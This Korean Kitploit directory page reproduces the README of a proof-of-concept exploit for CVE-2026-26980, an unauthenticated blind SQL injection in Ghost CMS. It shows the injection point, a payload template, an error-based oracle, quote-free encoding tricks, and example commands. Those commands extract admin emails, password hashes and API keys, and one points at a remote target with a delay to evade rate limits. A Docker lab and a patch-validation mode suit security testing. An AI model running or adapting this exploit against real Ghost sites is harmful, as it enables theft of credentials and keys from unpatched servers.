Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API 블라인드 SQL 인젝션 | Kitploit
도구/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityLabs & Practice
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API 블라인드 SQL 인젝션

저장소 보기
132개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-26980 — Ghost CMS Content API 블라인드 SQL 인젝션

영향 대상: Ghost 3.24.0 – 6.19.0
수정 버전: Ghost 6.19.1
인증 필요: 없음 — Content API 키는 공개
영향: 인증 없이 전체 데이터베이스 읽기 가능 (자격 증명, API 키)


취약점

slug-filter-order.js는 사용자가 제공한 slug 값을 매개변수화된 바인딩 대신 원시 SQL ORDER BY 절에 직접 삽입합니다.

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

인젝션 포인트:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

페이로드 템플릿:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]

오라클

삽입된 표현식은 오류 기반 부울 오라클로 작동합니다.

EngineTRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) 오버플로 → HTTP 500

NQL 제약 조건 — 대괄호 안의 SQL 표현식에는 작은따옴표(')나 쉼표(,)가 포함될 수 없습니다:

문제SQLite 해결책MySQL 해결책
문자열 리터럴 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
N번째 위치의 문자접두사 기반 문자열 비교ASCII(SUBSTR(x FROM N FOR 1))

||는 SQLite에서는 문자열 연결 연산자이지만 MySQL에서는 논리 OR입니다 — 문자열 리터럴은 엔진별로 다르게 인코딩해야 합니다.


사용법

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

예제

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

속도 제한 (HTTP 429)

Ghost는 기본적으로 Content API 요청에 속도 제한을 적용합니다. 옵션:

  1. --delay 0.5를 전달하여 요청 사이에 지연을 추가
  2. docker-compose 환경에서 API_RATE_LIMIT_ENABLED: "false"로 설정하고 재시작

참고 자료

  • Ghost 보안 권고: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • 수정 diff: Ghost 6.18.0 → 6.19.1의 slug-filter-order.js

랩 설정

참고용입니다 — 이미 취약한 Ghost 인스턴스가 있다면 건너뛰세요.

요구 사항

  • Docker + Docker Compose
  • Python 3.9+ 및 pip install requests

디렉터리 구조

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

두 compose 파일 모두 다음을 노출합니다:

  • http://localhost:2368 — 취약 버전 (Ghost 6.18.0)
  • http://localhost:2369 — 패치 버전 (Ghost 6.19.1)

SQLite로 시작

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

MySQL로 시작

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

MySQL 자격 증명: host=localhost:3306 user=ghost password=ghostpass
데이터베이스: ghost_vuln (포트 2368) / ghost_patch (포트 2369)

최초 실행 설정

Ghost가 초기화될 때까지 약 60초 기다린 후:

  1. http://localhost:2368/ghost로 이동 — 관리자 계정을 생성하고 게시물을 하나 이상 게시하세요
  2. Ghost Admin → Settings → Integrations에서 Content API 키를 복사하세요

랩 초기화

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
도구 다운로드